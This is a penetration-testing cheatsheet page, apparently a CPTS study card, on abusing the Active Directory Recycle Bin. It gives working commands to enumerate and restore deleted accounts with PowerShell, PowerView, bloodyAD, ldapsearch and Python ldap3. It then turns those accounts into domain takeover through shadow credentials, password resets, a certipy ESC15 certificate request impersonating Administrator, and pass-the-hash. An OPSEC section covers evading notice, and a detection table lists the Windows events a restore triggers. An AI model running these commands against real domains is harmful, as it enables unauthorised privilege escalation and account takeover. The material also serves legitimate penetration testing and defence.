AD^:Active Directory

AD Recycle Bin Enumeration & Deleted-Object Recovery

Find and restore deleted AD accounts from the Recycle Bin four ways — native Get-ADObject, PowerView's tombstone searcher, bloodyAD and ldapsearch — tell duplicate tombstones apart by SID, and turn a restored object's hidden rights (group membership, ADCS enrolment) into escalation.

intermediateupdated 2026-09-25Get-ADObject / Restore-ADObject · PowerView (Get-DomainSearcher) · bloodyAD · ldapsearch

AD Recycle Bin Enumeration & Deleted-Object Recovery

The AD Recycle Bin keeps deleted objects restorable with their SID, group memberships and rights intact. That makes a deleted account a real attack surface: an object can be “gone” from the live directory yet still hold an ACL edge or a certificate-enrolment right that a restore hands straight to you. This card covers enumerating and restoring deleted objects four ways — native PowerShell, PowerView, bloodyAD, ldapsearch — and turning a restored object into escalation.

[!tip] The tell — an unresolved SID that still holds rights In BloodHound (or any ACL dump), a raw SID with no principal name that owns an edge — GenericAll, WriteOwner, an Enroll on a cert template — is the classic signature of a deleted object. If you also control its container (GenericAll over the OU), you can restore it and inherit whatever it held. That is the cue to look in the Recycle Bin.

Set the context

DC=10.10.10.10                 # a domain controller
DOMAIN=corp.local
BASE='DC=corp,DC=local'
U=lowpriv ; P='Password123!'    # any account that can read the directory

1 · Is the Recycle Bin enabled?

Get-ADOptionalFeature -Filter "name -like 'Recycle Bin Feature'" | Format-Table name,EnabledScopes

If EnabledScopes is populated, deleted objects restore with all attributes and links. If not, objects are tombstones — most attributes are stripped, but objectSid, lastKnownParent and msDS-LastKnownRDN still enumerate, which is enough to find and (often) restore them.

Lifecycle — tombstone vs Recycle Bin (what survives, how long)

Deletion has two very different afterlives, and which one you’re in decides what a restore actually gives back.

Recycle Bin ENABLED:
  live ──delete──▶ DELETED object          ──▶ RECYCLED object        ──▶ GC-purged
                   isDeleted=TRUE               isRecycled=TRUE
                   ALL attrs + links kept       stripped to preserved set
                   fully restorable             NOT restorable
                   for msDS-deletedObjectLifetime    then tombstoneLifetime

Recycle Bin DISABLED:
  live ──delete──▶ TOMBSTONE                ──▶ GC-purged
                   isDeleted=TRUE
                   stripped to preserved set
                   reanimatable (empty shell)
                   for tombstoneLifetime

Both lifetimes live on the Directory Service object and default to 180 days:

# unset msDS-deletedObjectLifetime falls back to tombstoneLifetime
$cfg = (Get-ADRootDSE).configurationNamingContext
Get-ADObject "CN=Directory Service,CN=Windows NT,CN=Services,$cfg" `
  -Properties tombstoneLifetime,msDS-deletedObjectLifetime |
  Format-List tombstoneLifetime,msDS-deletedObjectLifetime
ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -s base \
  -b 'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=local' \
  '(objectClass=*)' tombstoneLifetime msDS-deletedObjectLifetime
Attribute / linkTombstone (bin OFF)Deleted object (bin ON)
objectSid, objectGUIDkeptkept
sAMAccountNamekeptkept
userAccountControlstripped (reanimates disabled)kept
lastKnownParent, msDS-LastKnownRDNkeptkept
sIDHistorykeptkept
nTSecurityDescriptorkeptkept
group membership (memberOf / link-values)strippedkept
password (unicodePwd), most other attrsstrippedkept

[!info] Lifetimes default to the tombstone value If msDS-deletedObjectLifetime is never set it inherits tombstoneLifetime; if that is also null the forest default applies (180 days on any forest built on Server 2003 SP1+, 60 on ancient ones). A deleted object only stays fully restorable for msDS-deletedObjectLifetime — after that it is recycled (stripped) and a restore returns an empty shell, exactly like the bin-OFF tombstone case.

[!warning] Two controls: Show Deleted (417) vs Show Recycled (2064) 1.2.840.113556.1.4.417 (Show Deleted) returns objects still in the recoverable deleted state — the ones you want. 1.2.840.113556.1.4.2064 (Show Recycled) is a superset that ALSO returns fully recycled (stripped, unrestorable) objects. Either surfaces isDeleted=TRUE; use 2064 when you also want to see what has aged past deletedObjectLifetime. Of the §2 methods, only the bloodyAD (§2C) and ldapsearch (§2D) examples attach 2064; the ldap3 snippet (§2E) and the native Get-ADObject -IncludeDeletedObjects / PowerView .Tombstone paths use Show Deleted (417) under the hood, so they return recoverable deleted objects but not fully-recycled ones.

2 · Enumerate the Recycle Bin — four ways

Pick whichever matches your foothold. Always pull objectSid and lastKnownParent so duplicate copies can be told apart (see §3).

A · Windows PowerShell — native, no PowerView

The ActiveDirectory module ships on every DC (and any host with RSAT). -IncludeDeletedObjects is the switch:

Import-Module ActiveDirectory
Get-ADObject -Filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' `
  -IncludeDeletedObjects -Properties objectSid,lastKnownParent,msDS-LastKnownRDN |
  Format-Table msDS-LastKnownRDN,objectSid,lastKnownParent
# target one by its old name:
Get-ADObject -LDAPFilter '(msDS-LastKnownRDN=<name>)' -IncludeDeletedObjects -Properties *

B · Windows PowerShell — with PowerView

PowerView has no deleted-object cmdlet, but its searcher exposes the tombstone control. Grab a Get-DomainSearcher, flip .Tombstone, then FindAll():

Import-Module .\PowerView.ps1
$ds = Get-DomainSearcher -LDAPFilter '(&(isDeleted=TRUE)(!(name=Deleted Objects)))'
$ds.Tombstone = $true          # adds the LDAP "Show Deleted Objects" control
$ds.PropertiesToLoad.AddRange(@('msDS-LastKnownRDN','objectSid','lastKnownParent'))
$ds.FindAll() | ForEach-Object { $_.Properties }

[!warning] With PowerView, Get-DomainObject will NOT show them Get-DomainObject / Get-DomainUser build a searcher without the tombstone control, so the bin looks empty and you conclude there’s nothing there — the trap that wastes time. You must drop to the raw Get-DomainSearcher + .Tombstone = $true above. PowerView also cannot restore an object — for that, fall back to native Restore-ADObject or bloodyAD (§4). When the ActiveDirectory module is present, native (A) is one line and does both halves, so prefer it.

C · Linux — bloodyAD (no upload, no shell)

1.2.840.113556.1.4.2064 is the LDAP Show Recycled control (the superset — it also returns fully-recycled objects; the plain Show Deleted control is 417):

bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" \
  get search -c 1.2.840.113556.1.4.2064 \
  --filter '(isDeleted=TRUE)' --attr name,objectSid,lastKnownParent
# works with a hash too:  -p ':<nthash>'

D · Linux — ldapsearch

Same control by OID; the leading ! marks it critical:

ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -b "$BASE" \
  -E '!1.2.840.113556.1.4.2064' \
  '(isDeleted=TRUE)' name objectSid lastKnownParent msDS-LastKnownRDN

E · Portable primitive — the Show Deleted control from any language

Every method above is just attaching one LDAP control to a search. From Python it works anywhere — no RSAT, no binary to drop:

from ldap3 import Server, Connection, SUBTREE
from ldap3.protocol.microsoft import show_deleted_control   # OID 1.2.840.113556.1.4.417

c = Connection(Server("ldap://10.10.10.10"),
               user="corp\\lowpriv", password="Password123!", auto_bind=True)
c.search("DC=corp,DC=local", "(isDeleted=TRUE)", search_scope=SUBTREE,
         attributes=["msDS-LastKnownRDN", "objectSid", "lastKnownParent"],
         controls=[show_deleted_control(criticality=True)])
for e in c.entries:
    print(e["objectSid"], e["msDS-LastKnownRDN"], e["lastKnownParent"])

[!warning] netexec/nxc won’t see the bin by default nxc ldap $DC -u "$U" -p "$P" --query '(isDeleted=TRUE)' 'objectSid lastKnownParent' runs an ordinary search without the Show Deleted control, so it comes back empty and looks like nothing was deleted — the same trap as PowerView’s Get-DomainObject. For deleted objects use bloodyAD / ldapsearch / the ldap3 snippet above, which attach the control. nxc’s place here is confirming reachability and authenticating as the account once it is restored (nxc smb $DC -u <restored> -p '<pw>').

3 · Tell duplicate copies apart

A name that was deleted more than once leaves several tombstones with the same msDS-LastKnownRDN, differing only by RID in objectSid. Only one may carry the right you want, so do not restore blindly:

Deleted objectobjectSid (RID)Notes
<name> (copy 1)S-1-5-21-…-1109no useful rights
<name> (copy 2)S-1-5-21-…-1110no useful rights
<name> (copy 3)S-1-5-21-…-1111holds the Enroll / ACL edge

[!tip] Match the SID to the edge before restoring Take the raw SID from the BloodHound edge (the unresolved principal from the tell above) and match it to the objectSid column from §2. msDS-LastKnownRDN gives the old name, lastKnownParent the OU it returns to. Restore only the SID that carries the edge — restoring the wrong RID gives you an account with none of the rights.

4 · Restore and take over

# Linux — restore the exact SID that owns the edge
bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" set restore 'S-1-5-21-…-1111'
# Windows — restore natively. Easiest: filter the bin by the SID that owns the
# edge and pipe straight to Restore-ADObject (no need to copy the mangled DN):
Get-ADObject -Filter "objectSid -eq 'S-1-5-21-…-1111'" -IncludeDeletedObjects | Restore-ADObject
# or restore by the deleted-object DN (from Get-ADObject -IncludeDeletedObjects):
Restore-ADObject -Identity '<distinguishedName-with-\0ADEL:GUID>'
# confirm it came back, enabled, under its old OU:
Get-ADUser -Identity <restored> | Select-Object SamAccountName,Enabled,DistinguishedName

If you control the restored object (e.g. GenericAll over its OU covers restored children too), take it over — reset the password or add shadow credentials:

certipy-ad shadow auto -target "$DC" -u "$U@$DOMAIN" -p "$P" -account <restored>
# or:  bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" set password <restored> '<NewPass123!>'

What set restore actually does (reanimation under the hood)

Reanimation is one LDAP modify — there is no dedicated “restore” verb in LDAP. bloodyAD set restore (and Restore-ADObject) read the deleted object’s lastKnownParent + msDS-LastKnownRDN, rebuild the original DN, then send the modify below, carrying the Show Deleted control so the DC lets them touch a deleted object:

dn: CN=old_admin\0ADEL:<objectGUID>,CN=Deleted Objects,DC=corp,DC=local
changetype: modify
delete: isDeleted
-
replace: distinguishedName
distinguishedName: CN=old_admin,OU=Employees,DC=corp,DC=local
# the same thing by hand (control 417 marked critical). The DEL:GUID mangling in the
# DN is literal; grab the exact deleted DN from your §2 enumeration and paste it in.
ldapmodify -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -e '!1.2.840.113556.1.4.417' <<'LDIF'
dn: CN=old_admin\0ADEL:<objectGUID>,CN=Deleted Objects,DC=corp,DC=local
changetype: modify
delete: isDeleted
-
replace: distinguishedName
distinguishedName: CN=old_admin,OU=Employees,DC=corp,DC=local
LDIF

[!info] A reanimated tombstone comes back as a disabled, empty shell Clearing isDeleted and setting the new DN is all reanimation does — it does not rebuild stripped attributes. From a bin-OFF tombstone the account returns disabled, with no password and no group membership, so you must enable it, reset the password and re-add groups (each separately logged). A bin-ON deleted object restores with password, SPNs and memberships intact and in its prior enabled/disabled state — that gap is the whole reason §1’s feature check matters.

5 · Turn the restored object into escalation

A restored account brings back rights the live tree was hiding — group membership, ACL edges, or certificate-template enrolment. The common payoff is a restored ADCS enrollee on a vulnerable template:

# enumerate templates as the restored principal
certipy-ad find -target "$DC" -u <restored>@$DOMAIN -p '<pw>' -vulnerable -stdout
# e.g. ESC15 (CVE-2024-49019) on a schema-v1 template that supplies its own subject:
certipy-ad req -u <restored>@$DOMAIN -p '<pw>' -dc-ip "$DC" -target "$DC" \
  -ca '<CA-NAME>' -template '<VULN-TEMPLATE>' \
  -upn administrator@$DOMAIN -application-policies 'Client Authentication'
certipy-ad auth -pfx administrator.pfx -username administrator -domain "$DOMAIN" -dc-ip "$DC"
# -> Administrator NT hash -> pass-the-hash

Other payoffs from a restored object: it may still be a member of a privileged group, own another principal via an ACL edge, or hold a servicePrincipalName (kerberoast). Re-run BloodHound as the restored identity to see what it unlocks.

Blue-team detection & OPSEC

Enumeration and restore look completely different to a defender: one is a read, the other rewrites the directory and replicates.

Event IDLog / subcategoryFires when
4662Security — needs a SACL on CN=Deleted Objects (not default)someone reads / enumerates the Deleted Objects container
5138Directory Service Changesobject undeleted — the precise reanimation event
5139Directory Service Changesobject moved (the DN change part of the restore)
5136Directory Service Changesobject modified (isDeleted cleared, later attribute writes)
5137Directory Service Changesobject created (a fresh create, not a reanimation)
4722 / 4738Securityrestored user enabled / changed afterward
4741 / 4742Securityrestored computer account created / changed afterward
4728 / 4732 / 4756Securityrestored principal re-added to a privileged group

[!warning] OPSEC — enumerate freely, restore deliberately Enumeration is quiet. A Show-Deleted search is an ordinary LDAP read; 4662 only fires if someone placed a SACL on the Deleted Objects container, which is rare, so listing the bin usually leaves nothing behind. Restore is loud and stateful. It writes to the directory (5138 undelete / 5139 move / 5136 modify wherever Directory Service Changes auditing is on), replicates to every DC, and — the part no tooling can hide — makes a “dead” account visibly reappear, so any admin or SIEM watching account lifecycle sees a resurrection. Pick the exact SID from §3 first, restore once, use it fast, and expect it to be noticed.

Takeaways

[!tip] Recycle-Bin habit

  • Unresolved SID with an ACL/Enroll edge → look in the Recycle Bin.
  • Enumerate with Get-ADObject -IncludeDeletedObjects (native) or the Show Recycled control 1.2.840.113556.1.4.2064 (bloodyAD/ldapsearch). With PowerView you must use Get-DomainSearcher + .Tombstone = $true — Get-DomainObject won’t show deleted objects.
  • When duplicates exist, match objectSid to the edge’s SID before restoring.
  • GenericAll over an OU covers restored objects too — restore, own, then use the rights the object brings back (group membership, ADCS enrolment → ESC, SPN → kerberoast).
  • Enumeration is a quiet read; restore is a logged write — reanimation fires Event 5138 (undelete) + 5139/5136 and resurrects a visible account, so restore only the one SID you need.

Troubleshooting

ProblemCause & fix
Get-ADObject -IncludeDeletedObjects returns nothingThe Recycle Bin (or the tombstone window) may be empty, or you lack read on the Deleted Objects container. Confirm the feature state first (section 1)
Deleted object is missing attributes you needTombstoning strips most attributes; the Recycle Bin preserves them. If an attribute is gone, the object tombstoned before the bin was enabled — it cannot be recovered
Restore-ADObject : access deniedYou have read but not the Reanimate-Tombstones extended right / write on the object. Enumeration is a read; restore is a privileged write
Two deleted objects share a nameExpected — each deletion appends \0ADEL:<GUID>. Disambiguate on objectSid, not on name (section 3)
PowerView Get-DomainObject shows no deleted objectsBy design. Use Get-DomainSearcher with .Tombstone = $true, or the native cmdlet / LDAP control instead
ldapsearch returns live objects onlyThe Show-Deleted control is not set. Pass -E '!1.2.840.113556.1.4.417' (or bloodyAD’s --include-deleted) to see tombstoned entries
Restored account cannot log onReanimated accounts come back disabled with no password. Enable it and reset the password (with the rights the restore gave you) before use

See Also

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.